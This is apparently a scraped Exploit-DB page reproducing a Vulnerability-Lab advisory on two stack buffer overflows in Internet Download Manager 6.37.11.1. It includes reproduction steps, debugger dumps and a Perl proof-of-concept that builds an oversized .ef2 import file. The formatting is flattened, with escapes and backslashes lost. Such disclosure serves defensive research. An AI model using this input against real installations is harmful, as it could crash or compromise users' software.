Internet Download Manager 6.37.11.1 – Stack Buffer Overflow (PoC)

• Exploit Database
• 112 阅读

• 作者： Vulnerability-Lab
  日期： 2020-04-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48397/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194

  # Title: Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC) # Author: Vulnerability Laboratory # Date: 2020-04-28 # Vendor: https://www.internetdownloadmanager.com # Software: https://www.internetdownloadmanager.com/download.html # CVE: N/A   Document Title: =============== Internet Download Manager v6.37.11.1 - Stack Buffer Overflow Vulnerabilities     References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2236     Common Vulnerability Scoring System: ==================================== 7.1     Vulnerability Disclosure Timeline: ================================== 2020-04-28: Public Disclosure (Vulnerability Laboratory) (Copy of the Homepage: https://www.internetdownloadmanager.com/support/about_us.html ) (Sofwtare Product: https://www.internetdownloadmanager.com/download.html)     Exploitation Technique: ======================= Local     Severity Level: =============== High     Technical Details & Description: ================================ Multiple stack buffer overflow vulnerabilities has been discovered in the official Internet Download Manager v6.37.11.1 software. The bufer overflow allows to overwrite registers of the process to compromise the file-system by elevates local process privileges.   1.1 The first stack buffer overflow is located in the <code>search</code> function of the downloads menu. The search function itself does not use any secure restriction in the requested search variable of the inputs. Local attackers with access to the software are able to overflow the registers to elevate local process privileges. Thus allows a local attacker to compromise the local computer- or file-system.   1.2 The second stack buffer overflow is located in the <code>Export/Import function of the tasks menu. Local users are able to import and export the download tasks as *.ef2 file. Local attackers are able to import manipulated *.ef2 files with manipulated referer and source url to overwrite the eip register. The issue occurs because of the insufficient ef2 filetype (context) validation process that does not perform any length restrictions.   The security risk of the local stack buffer overflow vulnerabilities in the software are estimated as high with a cvss count of 7.1. Exploitation of the buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process.   Vulnerable Module(s): [+] Search [+] Import/Export (ef2)     Proof of Concept (PoC): ======================= 1.1 The stack buffer overflow vulnerability can be exploited by local attackers with system user privileges without user interaction. For security demonstration or to reproduce the local vulnerability follow the provided information and steps below to continue.     Manual steps to reproduce the vulnerability ... 1. Open the software 2. Click the downloads menu and open the search 3. Inject a large unicode payload inside the search input field and transmit 4. The software crashs with several uncaught exception because of overwritten register (0168D8F0) 5. Successful reproduce of the local buffer overflow vulnerability!     --- Debug Logs (0168D8F0) --- 00d61850 668b08mov cx,word ptr [eax]ds:002b:41414141 - 00D6186D|. 56 PUSH ESI ; /Arg1 - 00D61882|. E8 59FFFFFFCALL IDMan.00D617E0; IDMan.00D617E0 - 00D6189B|> 50 PUSH EAX ; /Arg1 - 00D6189E|. E8 3DFFFFFFCALL IDMan.00D617E0; IDMan.00D617E0 - Call stack Address=0168C79C Stack=00DFE0F2 Procedure / arguments=IDMan.00D617E0 Called from=IDMan.00DFE0ED Frame=0168E02C - SEH chain AddressSE handler 0168C790 IDMan.00F751E8 0168D8F0 41414141 - EAX 41414141 ECX 01680000 EDX 41414141 EBX 00000001 ESP 0168C76C EBP 0168E02C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." ESI 0168C7AC UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." EDI 00410043 EIP 00D61850 IDMan.00D61850 Executable modules Base=00D60000 Size=00539000 (5476352.) Entry=00F5CB1C IDMan.<ModuleEntryPoint> Name=IDMan File version=6, 37, 11, 2 Path=C:Program Files (x86)Internet Download ManagerIDMan.exe     1.2 The stack buffer overflow vulnerability can be exploited by local attackers with system user privileges without user interaction. For security demonstration or to reproduce the local vulnerability follow the provided information and steps below to continue.     Manual steps to reproduce the vulnerability ... 1. Open the software 2. Start the bof_poc.pl 3. Open the tasks menu 4. Click import and import *.ef2 poc Note: The software process crashs on import with uncaught exception 5. Successful reproduce of the local buffer overflow vulnerability!     Usage Example: Export/Import (*.ef2) < https://www.vulnerability-lab.com/download_content.php?id=1337 referer: https://www.vulnerability-lab.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko >     PoC: Exploit #!/usr/bin/perl # Local Stack Buffer Overflow Exploit for Internet Download Manager v6.37.11.1 # Vulnerability Laboratory - Benjamin Kunz Mejri my $poc = "bof_poc.ef2" ; print "[+] Producing bof_poc.ef2 ..." ; my $buff0=" "."<" x 1; my $buff1=" n https://"."A" x 1024; my $buff2=" n Referer:"."A" x 1024; my $buff3=" n User Agent:"."A" x 1024; my $buff4=" n ".">" x 1; open(ef2, ">>$poc") or die "Cannot open $poc"; print ef2 $buff0; print ef2 $buff1; print ef2 $buff2; print ef2 $buff3; print ef2 $buff4; close(ef2); print "n[+] done !";     Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.     -- VULNERABILITY LABORATORY - RESEARCH TEAM